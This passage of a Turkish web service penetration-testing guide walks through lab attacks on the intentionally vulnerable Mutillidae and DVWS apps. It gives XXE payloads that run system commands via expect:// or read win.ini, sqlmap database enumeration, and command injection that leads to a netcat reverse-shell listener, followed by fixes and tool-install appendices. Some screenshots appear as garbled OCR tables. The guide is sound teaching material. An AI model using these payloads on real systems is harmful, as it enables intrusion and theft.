| | | Mutillidae - Ubuntu 14.04 LTS [Running] - Ora | cle VM VirtualBox | | | • | |
|---------|----------------------------------|---|---|---------------------|------------|----------|-----|
| File Ma | ichine View Input Devi irefox | es Help | | t. 17 | | 00.46 | 215 |
| | http://locidator.ph | × + | | •• • | | 05.40 | ~ |
| 0 | (Calhost/mutillio | ae-2.7.10/index.php?page=xml-validator.php | Q Search | ☆自♣ | ≙ 9 | | = |
| | | , | | | | | _ |
| | | OWASP Mutillidae II: Ke | ep Calm and | l Pwn Or | n | | |
| | Versio | n: 2.7.10 Security Level: 0 (Hosed) Hints: E | anabled (1 - Try easier |) Not Logged | In | | _ |
| | Home Login, | Register Toggle Hints Show Popup Hints Toggle Security | Enforce SSL Reset DB Vi | ew Log View Captu | ıred Data | | |
| | OWASP 2017 | | | | | | |
| | OWASP 2013 | XML | Validator | | | | |
| | OWASP 2010 | Sack 🏼 🎱 Help Me! | | | | | |
| | OWASP 2007 | | | | | | |
| | Web Services | Hints and Videos | | | | | |
| | HTML 5 | Please Ente | r XML to Validate | | | | |
| Â | Others + | Example: <somexml><message< th=""><th>e>Hello World</th></message<><th></th></somexml> | e>Hello World | | | | |
| a | Documentation • | xml version="1.0" encoding=</th <th>="IS0-8859-1"?></th> <th></th> <th></th> <th></th> <th></th> | ="IS0-8859-1"?> | | | | |
| | Resources + | <pre>(<!--ELEMENT foo ANY --></pre> | ct://whoami" >l> | | | | |
| | | XML < <u>somexml</u> > <message>&xxe<th>sage><!--<u-->somexml></th><th></th><th></th><th></th><th></th></message> | sage> <u somexml> | | | | |
| | Want to Help? | | | | | | |
| Ľ | | | | 1 | | | |
| | | Val | idate XML | | | | |
| | Video Tutorials | <pre>XML Submitted <rrain ?="" encoding="IS0-8859-1" version="1.0"> <!--DOCTYP!</pre--></rrain></pre> | E foo [ELEMENT foo ANY </th <th>ENTITY xxe SYSTEM</th> <th></th> <th></th> <th></th> | ENTITY xxe SYSTEM | | | |
| P | <u> </u> | <pre>"expect://whoami" >]> <somexml><message>&xxe</message></somexml></pre> | ge> | | | | |
| | Announcements | Text Content Parsed From XML | | | | | |
| | | www-data 3 | | | | | |
| | | | | | | | |
| | Getting Started | | | | | | |
| | Bro | vser: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; r | v:47.0) Gecko/201001 | 01 Firefox/47.0 | | | |
| | | PHP Version: 5.5.9-1ub | untu4.29 | | | | |
| | | | | 0 🐚 🗗 🤌 🗐 🖻 🔮 | 1 🖸 🔇 💽 F | tight Cl | trl |

Görüldüğü gibi sistemdeki haklarımız öğrenilebilmiştir. Bu açıklık yoluyla çeşitli sistem komutları denenip açıklıklı web servis sunucusunda çalıştırılabilir ve sonuçları alınabilir:

Payload 2:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://uname" >]> <somexml><message>&xxe;</message></somexml>

Payload 3:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<somexml><message>&xxe;</message></somexml>
```

Payload 4:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://netstat" >]> <somexml><message>&xxe;</message></somexml>

5.4.6 XML External Entity Injection 3 (CWE-611, CAPEC-376)

Bu demoda XML External Entity Injection saldırısı hedef "windows" mutillidae web servis sunucusuna uygulanacaktır ve windows web sunucuda hassas dosya okuma uygulanacaktır.

Kullanılan Materyaller

Ubuntu 18.04 LTS

// Fiziksel Makine

Mutillidae - Windows 10 Home Premium VM // Mutillidae Web Servis Sanal Makine

Not: Mutillidae kasıtlı zafiyetler içeren web servisinin Windows 10 Home Premium'a kurulumu için bkz. <u>EK > Mutillidae Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma.</u>

Açıklığın Çözümü

Bu demodaki hedef dvws web servis sunucumuzun işletim sistemi windows'tur. Dolayısıyla XXE saldırısında windows'taki bir hassas dosya okunacaktır.

Mutillidae web servisinin xml external entity injection zafiyetli sayfası şuradaydı:

OWASP 2017 -> A1 - Injection (Other) -> XML External Entity Injection -> XML Validator

Bu sayfada girdi olarak girilen xml verisi web sunucu tarafta parse edilip string değeri geri yansıtılmaktaydı. Şimdi bu mekanizmada var olan açıklığı kullanarak bu sefer windows'taki hassas bir dosyayı okuyalım.

Windows'ta Hassas Dosya Okuma

Payload:

<!DOCTYPE test [<!ENTITY xxe **SYSTEM** ''**file:**///**c:**/**windows**/**win.ini**''>]> <test>&xxe;</test>

| | XML Validator |
|--|---|
| Back See Help Me! | |
| 🖶 Hints and Videos | |
| | Please Enter XML to Validate |
| XML Submitted- (DDCTVFE test [ENTITY xxe SYSTER *file:///c:/windows/win.in!*j) <testskoorj< test=""></testskoorj<> | Example: someonia-message-Hello World <message-someonia ("file:///ci/ulndies/uln.lst">)> test:kassi/(test) ("file:///ci/ulndies/uln.lst">)> test:kassi/(test) XML Validate XML</message-someonia |
| Text Content Parsed From XML ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 | |
| | Q |

5.4.7 SQL Injection (CWE-89, CAPEC-66)

Bu demoda SQL Injection saldırısı hedef "windows" dvws web servis sunucusuna uygulanacaktır ve windows web sunucuda veritabanı sunucusundaki yüklü veritabanı dizinleri listelenecektir.

 Kullanılan Materyaller

 Ubuntu 18.04 LTS
 // Fiziksel Makine

 DVWS - Windows 10 Home Premium VM
 // REST DVWS Web Servis Sanal Makine

Not: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Açıklık Açıklaması

İstemci girdisi alan SQL sorgularının yer aldığı web uygulamalarda istemci girdisine sql sorgular için anlam ifade eden sql ifadeleri girme sonucu uygulamanın sql sorgusunun içerisine sql ifadesi eklemeye sql enjeksiyonu adı verilir.

Açıklığın Çözümü

Öncelikle sql enjeksiyonu açıklıklı rest api sayfasına bir göz atalım.



Bize DVWS web uygulama sayfası REST API'nin endpoint'ini vermektedir.

http://IP/dvws/vulnerabilities/sqli/api.php/users/2

Bu endpoint'te 2 ifadesi rest api için bir parametredir. 2 yerine 1 veya 3 girildiğinde rest api'nin döneceği yanıt değişmektedir.



Burada 2 girdisi sql sorgusuna eklenmektedir ve sql sorgusu veritabanından bir yanıt döndürüp rest api'si istemciye bunu yanıt olarak dönmektedir.

SQL enjeksiyonu açıklığını kontrol edebilmek için sqlmap'ten yararlanalım. Bunun için burpsuite yazılımı ile rest api'ye gönderdiğimiz http istek paketini alalım ve sqlmap'e bu paketi verip tarama başlatalım.

Burp'le Http İsteğini Alma:

| Exp Suite Canneady EXE/Data 2022 As 1: Englandy Regist Data Suite Regist Value | |
|--|----|
| Ray The Barlow Table Theory Table Ta | |
| File: Top: <thtop:< th=""> Top: Top: <th< th=""><th></th></th<></thtop:<> | |
| P Not Under Under Under Under Verlander | |
| Numeritä 188 88.00 Off Descrittationshipping algebrand Off All 1992 all 1992 all 1993 All 1992 all 1993 All 1992 all 1993 All 1992 all 1993 All 1993 all 1993 all 1993 All 1993 all 1993 All 1993 all 1993 All 1993 all 1993 All 1993 all 1993 All 1993 all 1993 All 1993 all 1993 All 1993 all 1993 all 1993 all 1993 all 1993 All 1993 all 19 | |
| 1 100 yr 102 55 00 103 0 01 100 yr 102 56 00 103 112 59 2.000 Program Image: 100 yr 100 y | |
| Provide | |
| Openitive Description Descri | |
| Resent Response Party | |
| Nov Nov <td>Ξ÷</td> | Ξ÷ |
| Off /der/scheme/bitiskry/ling/apple/server/2 im/07.1 1 /m/07.1 /m 200 fm 1 /m/07.1 /m 200 fm Percent fm Per | |
| <pre>Supprist:secore.msguests:::: Useprist::::::::::::::::::::::::::::::::::::</pre> | |
| Operating (1) Statute (1) St | |
| <pre>Accest: Correction:Lise Correction:Lise Correction:CompetenceScore(compet</pre> | |
| ationstpaced eschargeselleged, " Argent Leagner and State ("Argent and "Argen | |
| T Recet-frequences destructions (sources) © constituent (law © constituent (law © constituent (law | |
| i Acore-Lenguage: en US, migno.9 Ormetian: clase | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |

Request.txt Dosyasına Kaydetme ve Sınanacak Parametreyi İşaretlemek İçin * Karakteri Koyma:



SQLMap ile Taramayı Başlatma:

Ubuntu 18.04 LTS Terminal:

> sqlmap -r "request.txt"

Çıktı:



Görüldüğü gibi 2 parametresi error-based, time-based ve union-based sql enjeksiyonu açıklıklarına sahipmiş. Şimdi sql enjeksiyonu açıklıklı girdi yoluyla örneğin veritabanını dump edelim ve yüklü veritabanı dizinlerini listeleyelim.

Ubuntu 18.04 LTS Terminal:

> sqlmap -r "request.txt" --dbs

Çıktı:



Açıklığın Önlemi

Bu açıklığın önlemi için dinamik sql sorguları yerine (yani doğrudan istemci girdisini alan sql sorgular yerine) parametrik sorgular kullanılmalıdır. Parametrik sorgular istemci girdisini alır ve istemci girdisi olarak sql sorgusuna yerleştirir. Yani girdide sql sorgusu için anlam ifade edecek karakter var olsa bile sql sorgusuna "girdi değeri" olarak yerleştirildiğinden sql sorgusunda enjeksiyon yaşanmayacaktır. Bir diğer öneri dinamik sorgu kullanıldığı durumda istemci girdilerinin filtrelenmesidir. Yani sql sorguları için özel anlam ifade edebilecek karakterlerin girdiden filtrelenmesi ve girdinin o şekilde sql sorgusuna yerleştirilmesidir.

5.4.8 Command Injection (CWE-78, CAPEC-88)

Kullanılan Materyaller

Bu demoda Command Injection saldırısı hedef "linux" dvws web servis sunucusuna uygulanacaktır ve linux web sunucuda linux sistem komutu çalıştırılacaktır.

 Ubuntu 18.04 LTS
 // Fiziksel Makine

 DVWS - Ubuntu 16.04 LTS VM
 // DVWS Web Servis Linux Sanal Makine

Not: DVWS kasıtlı zafiyetler içeren web uygulamasının Ubuntu 16.04 LTS kurulumu için bkz. <u>EK > DVWS Web API'yi Linux'a (Ubuntu 16.04 LTS Dağıtımına) Kurma</u>.

Açıklık Açıklaması

Uygulamalardaki zafiyetlerden yararlanarak uygulamaların barındığı host işletim sisteminde sistem komutu çalıştırma saldırılarına Command Injection saldırısı adı verilir. Command Injection saldırısı, bir uygulama kullanıcı girdilerini (örn; form verilerini, çerez bilgilerini, http başlık bilgilerini v.b.) denetlemeden sistem kabuğuna aldığında meydana gelir. Bu saldırıda saldırganın gönderdiği işletim sistemi komutları genellikle açıklıklı uygulamanın sahip olduğu haklarda çalıştırılır.

Açıklığın Çözümü

Öncelikle Command Injection açıklıklı sayfaya bir göz atalım.



Bu sayfada hedef web api sunucusu sistem uptime süresini öğrenmek için bir servis sunulmaktadır. Örneğin MM:HH:SS format seçeneğine tıklayarak istek gönderildiğinde linux dvws web sunucunun ne kadar süredir açık olduğu bilgisi alınmaktadır.



Şimdi bu komut enjeksiyonu açıklıklı web serviste komut çalıştırma mekanizmasını manipule edelim ve keyfi komut çalıştıralım. Bunun için burpsuite ile araya girelim ve gönderilen paketi inceleyelim.

| Activities 🚺 burp-StartBurp 🔻 | _ | ç | rş 17:55 • | | | | | ?¶ (P | |
|--|------------|--------------|--|---|-----------------------------------|-----------------|------------------------------|----------|----------|
| Burp | Suite Comr | nunity Edit | tion v2022.9.6 - 1 | Temporary Project | | | | • | 5 😮 |
| Burp Project Intruder Repeater Window Help | | | | | | | | | |
| Dasnboard Target Mroxy Intruder Nepeater Sequencer Decoder Comparer Logger Exte | nder Proj | ject options | User options | Learn | | | | 0 | |
| | | | | | | | | Q | . : |
| | | | | | | Targ | get: http://192.168.68.108 (| 9 HTTP/1 | (?) |
| Request | Rest | onse | | | | = = | Inspector 🔳 🔲 | I ÷ © | \times |
| Pretty Raw Hex 🗐 In | ≡ Prett | ty Raw | Hex Rende | | | 🗐 \n 🚍 | Request Attributes | 2 | ~ |
| 1 POST /dvws-master/vulnerabilities/cmdi/client.php HTTP/1.1 | | | ht | tps://www.owasp.org/i | ndex.php/Testing_for_Command_Inje | ction_%280TG-IN | D | | |
| 3 Content-Length: 7 | | | | AL-013%29 | | | Request Query Parameter | s U | v |
| 5 Upgrade-Insecure-Requests: 1 | 96 | | | | | | Request Body Parameters | 1 | ~ |
| 7 Content-Type: application/x-www-form-urlencoded | 97 | | < | | | | Request Cookies | 0 | ~ |
| Chrome/107.0.5304.107 Safari/537.36 | | | This w how | ebpage provides infor many users are | mation on how long the system has | been running, | Request Headers | 12 | ~ |
| 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q | -0 98 | | curren 15 min | tly logged on, and | the system load averages for the | past 1, 5,and | Response Headers | 7 | ~ |
| .8,application/signed-exchange;v=b3;q=0.9 10 Referer: http://192.168.68.108/dvws-master/vulnerabilities/cmdi/client.php | | | | | | | | | |
| 11 Accept-Encoding: gzip, deflate 12 Accept-Language: en-US.en:g=0.9 | 100 | | <form ac<="" td=""><td>tion="" method="POST"</td><td>></td><td></td><td></td><td></td><td></td></form> | tion="" method="POST" | > | | | | |
| 13 Connection: close | 101 | | Sele | ct the format you wan | t to view the system uptime on | | | | |
| 5 name=-s | | | | | | | | | |
| | 102 | | <input< th=""><th>type="radio" name="n</th><th>ame" value=" "></th><th></th><th></th><th></th><th></th></input<> | type="radio" name="n | ame" value=" "> | | | | |
| \odot | 103 | | Normal | format type="radio" name="n | ame" value=".s"> | | | | |
| | 103 | | MM:HH: | SS format | | | | | |
| · 🖻 | 104 | | <input Short</input | type="radio" name="n Formatebra | ame" value="-p"> | | | | |
| | 105 | | <input< td=""><td>type="radio" name="n</td><td>ame" value="find"></td><td></td><td></td><td></td><td></td></input<> | type="radio" name="n | ame" value="find"> | | | | |
| | 106 | | Window | s Format (Only on Win | dows Systems) | | | | |
| | | | <input< td=""><td>type="Submit" /></td><td></td><td></td><td></td><td></td><td></td></input<> | type="Submit" /> | | | | | |
| | 107 | | | | | | | | |
| | 108 | | 4/10/11 | | | | | | |
| - | 109 | | | | | | | | |
| | 111 | | Syrrence | | | | | | |
| - 5 | 112 | | This applica | tion is using <i></i> | | | | | |
| | | | | o encedice comminant | | | | | |
| | 113 | | | | | | | | |
| .@ | | _ | <h></h> | | ¬ • | | | | |
| | | | The curren | t system uptime is | | | | | |
| • 🔤 | | | | | | | | | |
| 1 M S | 114 | | 2023-02-01 1 | 7:43:16 | | | | | |
| () @ (A → Search) () match | 10 E | 363 | Search | | | 0 matches | | | |
| | 0.0 | * • • • | | | | 5 materies | | 053 1 | 100 |

Gönderilen pakette name parametresi ile -s girdisi gönderilmektedir ve yanıt olarak sistem uptime'ı alınmaktadır. -s girdisine komut enjekte edelim.



Görüldüğü gibi linux web sunucuya başarılı şekilde komut enjekte edilebilmiştir ve komut enjeksiyonundaki komut çalıştırma mevcut hak seviyemiz öğrenilebilmiştir. Buradan hareketle sırasıyla haklarımız (www-data hakları) ölçüsünde linux web sunucu işletim sisteminde komutlar çalıştırabiliriz. Komut enjeksiyonu ile şu sonuçlar elde edilebilir;

- İşletim Sistemi Parola Dosyalarını Görüntüleme
- İşletim Sistemi Konfigurasyon Dosyalarını Görüntüleme
- Uygulama Kaynak Kodlarını Görüntüleme
- Ters Kabuk Bağlantısı Alma
- v.b.

Örneğin Komut Enjeksiyonu ile web servisin bir dosyasının kaynak kodlarını okuyalım.





Örneğin ters kabuk bağlantısı (reverse shell connection) alabiliriz. Bunu için hedef web servis sunucusunda ters kabuk bağlantısı oluşturmaya yarayan bir tool'un kurulu olduğunu varsayıyoruz.

DVWS - Ubuntu 16.04 LTS Linux Terminal:

> sudo su
> apt-get install netcat-traditional // Reverse Shell Oluşturan Tool

Web servis sunucusunda gerekli araç hazır olduktan sonra komut enjeksiyonu ile ters kabuk bağlantısı alabilmek için saldırgan sistemde dinleme moduna geçelim.

Ubuntu 18.04 LTS Linux:

> nc -lvp 1234

Ardından web servise komut enjeksiyonu yapalım ve reverse shell oluşturan kodları enjekte edelim.

| Activities 🚯 burp-StartBurp 🕶 C | um 15:58 💡 📢 🗋 👻 |
|--|---|
| Burp Suite Community Edi | tion v2022.9.6 - Temporary Project 🛛 🗍 🕲 🙆 |
| Burp Project Intruder Repeater Window Help | |
| Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options | User options Learn |
| 1 × 2 × 3 × 4 × 5 × <u>6 ×</u> + | Q. 1 |
| Send (T) Send (T) Set | Target: http://192.168.68.121 🖉 HTTP/1 💿 |
| Communication of the second se | |
| Putty Rev Hey E | Pretty Daw Hay Davier |
| Saldurganning the start when | <pre>bits::::::::::::::::::::::::::::::::::::</pre> |
| | 114 2029-02-01 18:20:11 |
| ⑦ ⊕ ← → Search 0 matches | ⑦ |
| Done | 5,053 bytes 7 millis |

Reverse Shell Veren Kodlar Web Servis Sunucusuna Enjekte Edilir



Saldırgan Sistemde Dinleme Moduna Geçilir



Reverse Shell Bağlantısı Gelir ve Edinilen Yetki Öğrenilir



Web Servis Sunucusunda Sızılan Dizin Noktasındaki Dosyalar Sıralanır

Açıklığın Önlemi

İstemci taraflı girdiler komut enjeksiyonunda kullanılan işletim sistemi kabuk operatörlerine karşı denetlenmelidir ve filtrelenmelidir. Saldırganların ilave komut eklemesi böylece engellenebilir.

6 SONUÇ VE ÖNERİLER

Bu çalışma için literatürde geçen başlıca web servis sızma testi araçları kullanılmıştır. Web servislere sızma testi yapılması için temel gereksinimler ve beceriler paylaşılmıştır. Başlıca web servis zafiyetlerine değinilmiştir ve sömürme adımları gösterilmiştir. Tüm gösterilen uygulamalar bağımlılıklarının kurulumları yer almak üzere pratikte okuyucu tarafından kendi başına uygulayabileceği şekilde adımlara yer vererek anlatılmıştır. Bu sayede bilginin teoride kalmasının önüne geçip pratiğe dönüşmesi amaçlanmıştır. Bu çalışma raporu ile bir kimse web servis sızma testçisi olmak noktasında başlangıç adımını atmış

olacaktır. Bu sektördeki bir kimse tarafından bu rehber dökümana benzer bir rapor yazılacağı zaman ham bilginin pratik olarak uygulanabilir olması noktasında adımlara bolca yer verilmesi önerilmektedir. Bu sayede bilişim ve bilgi güvenliği sektörüne nitelikli eleman yetiştirilmesi sağlanabilir.

7 EK

7.1 SoapUI Web Servis Güvenlik Testi Yazılımını Linux'a (Ubuntu 18.04 LTS'ye) Kurma

SoapUI yazılımının linux (Ubuntu 18.04 LTS) sisteme kurulumu şu şekildedir:

a) İndirme

Belirtilen linkten soapui yazılımı indirilir.

https://www.soapui.org/downloads/soapui/

Not: Linke linux bir sistemden gidince linux sürümü inmektedir. Windows bir sistemden linke gidilirse windows sürümü iner.

Kurulum dosyası Downloads klasöründe yer alır: SoapUI-x64-SIZININDIRDIGINIZVERSIYON.sh

b) Yükleme

Ubuntu 18.04 LTS Terminal:

> sudo su

> cd ~/Downloads/

> chmod +x SoapUI-x64-SIZININDIRDIGINIZVERSIYON.sh

> ./ SoapUI-x64-SIZININDIRDIGINIZVERSIYON.sh

[!] Uyarı:

Kurulumda "Tutorials" da yüklemeye dahil edilir. Tutorials içerisinde soap ve rest için örnek soapui projeleri mevcuttur.

c) Çalıştırma

Kurulum sonrası yazılımı başlatma şu şekildedir:

Ubuntu 18.04 LTS Terminal:

> cd /home/USERNAME/SoapUI-5.6.0/bin/ > ./SoapUI-5.6.0

7.2 Burpsuite'i Linux (Ubuntu 18.04 LTS) Sisteme Kurma

a) İndirme

Belirtilen linkten burpsuite linux x64 sürümü indirilir.

https://portswigger.net/burp/releases/professional-community-2022-9-5?requestededition=community&requestedplatform=

xxxxx.sh şeklinde bir kurulum dosyası inecektir.

b) Yükleme

Kurulum için sh dosyası çalıştırılır ve standart next, next prosedürü uygulanır.

Ubuntu 18.04 LTS Terminal:

> sudo su

- > chmod a+x burpsuite_community_linux_SIZININDIRDIGINIZVERSIYON.sh
- >./burpsuite_community_linux_SIZININDIRDIGINIZVERSIYON.sh

c) Çalıştırma

Terminal ekranında burpsuite yazılarak burpsuite başlatılabilir.

Ubuntu 18.04 LTS Terminal:

> burpsuite

7.3 Burpsuite'e WSDLER Eklentisini Kurma

Burpsuite pencere ekranında Extender->BApp Store sekmesine gelinir ve Wsdler seçeneği seçilerek Install denir.

| Burp Suite Community Edition v1.7.36 - Temporary Project 🛛 😑 🗈 😣 | | | | | | | | | | |
|--|-----------------------|----------------|-----------------|-----------------|-----------------|----------------|-----------------|----------|-------------------------------|-----------|
| 3urp Intruder Repeater Window Help | | | | | | | | | | |
| Target Proxy Spider Scanner | Intruder Repeate | r Sequencer | Decoder C | Comparer Exte | nder Projec | t options U | Iser options | Alerts | Wsdler | |
| Extensions BApp Store APIs | Options | | | | | | | | | |
| | | | | | | | | | | |
| App Stor | | | | | | | | | | |
| he BApp Store contains Burp exte | nsions that have beer | written by use | rs of Burp Suit | e, to ktend Bur | p's capabilitie | es. | | | | |
| | | | | <u> </u> | | | | | | |
| Name 🥖 Inst | alled Rating | Popularity | Last update | etail | | Wedler | | | | |
| SQLiPy Sqlmap Integration | ជជជជជ | | 04 Mar 2021 | ~ / | 4 | wsulei | | | | |
| SCLMap ONS Collaborator | ជជជជជ | | 24 Mar 2021 | Requires B | urp | This extension | on takes a WS | SDL red | uest, parses out the operati | ions that |
| SFI Check | ជជជជជ | | 12 Jul 2019 | Requires B | urp | are associat | ed with the ta | argeted | web service, and generates | SOAP |
| SSL scarner | ជជជជជ | | 15 Aug 2018 | | | requests tha | at can then be | e sent t | o the SOAP endpoints. | |
| Stepper | ជជជជជ | | 16 Jul 2020 | | | To use this e | extension sel | ert a s | uitable item in Burn, and cho | ose |
| Subdomain Extractor | ជជជជជ | | 02 Dec 2019 | | | "Parse WSDI | L" from the co | ontext r | menu. | |
| Taborator | ជជជជជ | | 15 Dec 2020 | Requires B | urp | | | | | |
| Target Redirector | ជជជជជ | | 04 Apr 2018 | | | The extension | on builds upor | n the w | ork done by Tom Bujok and I | nis |
| ThreadFix | ፚፚፚፚ | + | 25 Jan 2017 | Requires B | urp | soap-ws pro | ject which is e | essenti | ally the WSDL parsing portion | 1 OF |
| Timeinator, Time Based At | ፊ 🕁 🕁 🕁 | + | 09 Nov 2020 | | | Soap-Orwith | iout the OI. | | | |
| Timestamp Editor | ፞ | + | 18 Mar 2021 | | | Requires Jav | a version 8 | | | |
| Token Extractor | ፞ፚፚፚ ፚ | | 16 Apr 2021 | | | | | | | |
| Token Incrementor | ፞ | | 27 Nov 2020 | | | Author: | Eric Gruber | | | |
| Tokenjar | ជជជជជ | | 20 Jun 2018 | | | Version: | 2.0.12 | | | |
| Turbo Data Miner | ፞ | | 26 Jan 2021 | | | Source: | https://aithu | ib.com/ | portswigger/wsdler | |
| Turbo Intruder | ፞ | | 06 Aug 2021 | | | Undated | 01 Nov 201 | 6 | | |
| Upload Scanner | ជជជជជ | | 26 Nov 2018 | Requires B | urp | opuateu. | 011400 2010 | 0 | | |
| UPnP Hunter | ជជជជជ | + | 22 Jan 2021 | | | Rating: | 10000 | ~~~ | Submit rating | |
| UUID Detector | ជជជជជ | | 23 Feb 2017 | | | | ~~~~ | | | |
| ViewState Editor | ្ន ជំជំជំជំជំ | | 10 Mar 2021 | | | Popularity: | | - | | |
| WAF Cookie Fetcher | 👝 🔪 ជំជំជំជំជំ | | 16 Jan 2018 | | | | | | | |
| WAFDetect | ់ ជំជំជំជំជំ | | 13 Nov 2018 | | | Installing | | | | |
| Wayback Machine | 🖌 ជជជជជ | | 18 Jun 2018 | | | | | | | |
| WCF Deserializer | 🖉 ជំជំជំជំជំ | | 15 Jun 2017 | | | | | | | |
| Web Cache Deception Sca | ជជជជជ | | 23 Nov 2017 | Requires B | urp | | | | | |
| Webinspect Connector | ជំ ជំជំជំជំ | | 10 Aug 2016 | Requires B | urp | | | | | |
| WebSphere Portlet State D | ፚፚፚፚ | + | 17 Feb 2015 | | | | | | | |
| Wordlist Extractor | ፚፚፚፚ | | 20 Apr 2017 | | | | | | | |
| WordPress Scanner | ជំជំជំជំ ជំ | | 29 May 2018 | 3 | | | | | | |
| WS Security | ☆☆☆☆☆ | | 13 Dec 2019 | | | 1 \ | | | | |
| WSDL Wizard | ជំជំជំ ជំជំ | | 01 Jul 2014 | | | 11 | | | | |
| Wsdler | √ ជជជជជ | | 01 Nov 2016 | | | 4 J | | | | |
| XChromeLogger Decoder | ፞ | + | 25 Jan 2017 | | | - | | | | |
| XSS Validator | ፊ ፚፚፚ | | 25 Jan 2017 | | | | | | | |
| Vara | ជជជជជ | + | 25 Jan 2017 | | | | | | | |
| | | | | | | | | | | |

Bu kurulum sonrası Wsdler sekmesi burpsuite menülerine gelir.

| ļ | Burp Suite Community Edition v1.7.36 - Temporary Project 🔵 🗐 | | | | | | | | | | e 🗉 😣 | | | |
|---|--|---------------|----------|----------|-----------|---------|----------|----------|-----------------|--------------|--------|--------|--|--|
| | Burp Intruder Repeat | ter Window He | lp | | | | | | | | | | | |
| | Target Proxy Spic | der Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts | Wsdler | | |
| | | | | | | | | | | | 1 | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| ļ | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |

7.4 Postman Yazılımını Linux (Ubuntu 18.04 LTS) Sisteme Kurma

a) Yükleme

Ubuntu paket yöneticisi depolarından yazılım indirilir ve kurulur.

Ubuntu 18.04 LTS Terminal:

- > sudo su > snap install postman
- b) Çalıştırma

Yazılım ubuntu linux dashboard'undan ismi aratılarak veya terminal ekranından ismi yazılarak başlatılabilir.

Ubuntu 18.04 LTS Terminal:

> postman

7.5 DVWS Web API'yi Linux'a (Ubuntu 16.04 LTS Dağıtımına) Kurma

Bu başlık altında bir linux sisteme kasıtlı açıklıklara sahip DVWS web api kurulum adımları gösterilecektir.

Kullanılan Materyaller

| - | Oracle VirtualBox | // Sanallaştırma Yazılımı |
|---|------------------------------------|---------------------------|
| - | Ubuntu 16.04 LTS Desktop Linux ISO | // Linux İşletim Sistemi |
| - | PHP v5.5.38, Apache, MySQL | // Web Sunucu Yazılımları |
| - | DVWS | // Zafiyetli Web API |

a) Oracle VirtualBox Kurma

- Bilgisayarınızda yüklü ve kullanmakta olduğunuz linux veya windows işletim sistemine "Oracle VirtualBox" yazılımı kurulur.

https://www.virtualbox.org/wiki/Downloads
b) Oracle VirtualBox'da VM Oluşturma

- Oracle VirtualBox'da bir sanal makine oluşturulur.
- "Ubuntu 16.04 LTS desktop iso" imajı cd olarak sanal makineye takılarak kurulur.

https://releases.ubuntu.com/16.04/

c) Ubuntu 16.04 LTS VM'e PHP + Apache + MySQL Kurulumu

(!) Uyarı:

Her komut satırında başlangıçta kullanılan ">" karakterleri işlevi olan bir kod değildirler. Sadece yeni bir komut satırının başladığını göstermek adına kullanılmıştır. Dolayısıyla komutları kopyalarken en baştaki > karakteri alınmamalıdır. Ondan sonraki karakterler alınmalıdır.

Ubuntu 16.04 LTS Linux Terminal:

i) Bağımlılıklar Yüklenir.

> apt-get -y install wget curl

> apt-get -y install build-essential libxml2-dev libxslt1-dev

> apt-get -y install libfcgi-dev libfcgi0ldbl libjpeg62-dbg libxml2-dev

> apt-get -y install libmcrypt-dev libssl-dev libc-client2007e libc-client2007e-dev

> apt-get -y install libbz2-dev libcurl4-openssl-dev libjpeg-dev libpng12-dev

> apt-get -y install libfreetype6-dev libkrb5-dev libpq-dev libicu-dev

> ln -s /usr/lib/libc-client.a /usr/lib/x86_64-linux-gnu/libc-client.a

ii) DVWS'nin Çalışabildiği Sürüm Olan PHP 5.5.38 Yüklenir.

- > mkdir /opt/php-5.5.38
- > mkdir /usr/local/src/php5-build

> cd /usr/local/src/php5-build

> wget https://www.php.net/distributions/php-5.5.38.tar.bz2 -O php-5.5.38.tar.bz2

- > tar jxf php-5.5.38.tar.bz2
- > cd php-5.5.38/

(configure ile beraber devam eden satırlar komple kopyalanır ve terminale olduğu gibi yapıştırılıp ENTER'lanır)

Komut Başlangıcı

> ./configure --prefix=/opt/php-5.5.38 --with-pdo-pgsql --with-zlib-dir --withfreetype-dir --enable-mbstring \setminus --with-libxml-dir=/usr --enable-soap --enable-intl --enable-calendar --with-curl -with-mcrypt --with-zlib \ --with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 -with-zlib --enable-sockets \ --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif --enable-bcmath --with-mhash \ --enable-zip --with-pcre-regex --with-mysql --with-pdo-mysql --with-mysqli -with-jpeg-dir=/usr --with-png-dir=/usr \setminus --enable-gd-native-ttf --with-openssl --with-fpm-user=www-data --with-fpmgroup=www-data \ --with-libdir=/lib/x86 64-linux-gnu --enable-ftp --with-imap --with-imap-ssl -with-gettext --with-xmlrpc --with-xsl \setminus --with-kerberos --enable-fpm # Komut Sonu

> make

> make install

> cp /usr/local/src/php5-build/php-5.5.38/php.ini-production /opt/php-5.5.38/lib/php.ini

> cp /opt/php-5.5.38/etc/php-fpm.conf.default /opt/php-5.5.38/etc/php-fpm.conf > mkdir /opt/php-5.5.38/etc/php-fpm.d

(cat ile beraber devam eden satırlar komple kopyalanır ve terminale olduğu gibi yapıştırılıp ENTER 'lanır)

Komut Başlangıcı
> cat <<EOF > /etc/systemd/system/php-5.5.38-fpm.service
[Unit]
Description=The PHP 5.5.38 FastCGI Process Manager
After=network.target

